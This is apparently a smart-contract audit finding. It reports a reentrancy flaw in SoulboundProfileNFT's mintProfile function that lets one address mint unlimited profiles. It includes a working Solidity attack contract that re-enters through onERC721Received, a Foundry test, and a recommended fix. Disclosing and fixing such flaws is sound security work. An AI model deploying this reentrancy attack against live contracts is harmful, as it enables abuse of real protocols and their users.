Description
The SoulboundProfileNFT::mintProfile
function does not follow CEI and as a result, enables users to mint unlimited NFT profiles.
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
@> _safeMint(msg.sender, tokenId);
@> _profiles[tokenId] = Profile(name, age, profileImage);
@> profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
In the SoulboundProfileNFT::mintProfile
function, an external call to the msg.sender
address is made. This means that it can call untrusted code when minting the NFT, specifically in the case where the msg.sender
is a smart contract that implements the ERC721Receiver interface.
The _safeMint
function in OpenZeppelin’s ERC721 contract checks whether the recipient is a contract and, if so, calls the onERC721Received
function on that contract. This allows smart contracts to handle NFT receipts safely.
Impact
Malicious users can mint multiple NFT profiles. This does not align with the protocols goal of having "verified dating profiles" and ensuring "genuine connections".
Proof of Concept
A malicious smart contract calls mintProfile
to mint an NFT.
_safeMint
calls onERC721Received
on the attacker's contract.
The attacker's onERC721Received
callback calls mintProfile
again before the first call is finished.
The profileToToken[msg.sender] == 0
check passes again because it hasn’t been updated yet.
The attacker can keep minting multiple profiles and bypass the intended logic.
Place the following test into testSoulboundProfileNFT.t.sol
.
import {AttackContract} from "./attack.sol";
function test_mintProfile_reentrancy() public {
AttackContract attacker;
attacker = new AttackContract(address(soulboundNFT));
uint256 tokenIdBefore = soulboundNFT.profileToToken(address(attacker));
assertEq(tokenIdBefore, 0, "Attacker should not have a profile before");
uint256 totalSupplyBefore = soulboundNFT.totalSupply();
console.log("Total Supply Before:", totalSupplyBefore);
assertEq(totalSupplyBefore, 0, "Total supply should be 0 supply before");
vm.startPrank(address(attacker));
attacker.attack("Attacker", 55, "ipfs://profileImage");
vm.stopPrank();
uint256 totalSupplyAfter = soulboundNFT.totalSupply();
console.log("Total NFTs minted after reentrancy attack:", totalSupplyAfter);
}
Place the following attack contract into a new file attack.sol
in the test directory.
pragma solidity ^0.8.0;
import {SoulboundProfileNFT} from "../src/SoulboundProfileNFT.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract AttackContract is IERC721Receiver {
SoulboundProfileNFT public target;
constructor(address _target) {
target = SoulboundProfileNFT(_target);
}
function attack(string memory name, uint8 age, string memory profileImage) external {
target.mintProfile(name, age, profileImage);
}
function onERC721Received(address, address from, uint256 tokenId, bytes calldata)
external
override
returns (bytes4)
{
require(msg.sender == address(target), "Only target contract can call this function");
require(from == address(0), "from address must be zero address");
if (target.totalSupply() < 200) {
target.mintProfile("Hacker", 99, "ipfs://malicious_image");
}
return this.onERC721Received.selector;
}
}
Place the following code into SoulboundProfileNFT.sol
.
function totalSupply() public view returns (uint256) {
return _nextTokenId;
}
Tools Used
Manual review
Recommendations
To prevent this, we should have the SoulboundProfileNFT::mintProfile
function update _profiles
and profileToToken
before making the external call. Additionally, we should move the event emission up as well.
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
// @audit - issue with name variable - maybe because of memory - also no checks in place
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
+ _safeMint(msg.sender, tokenId);
}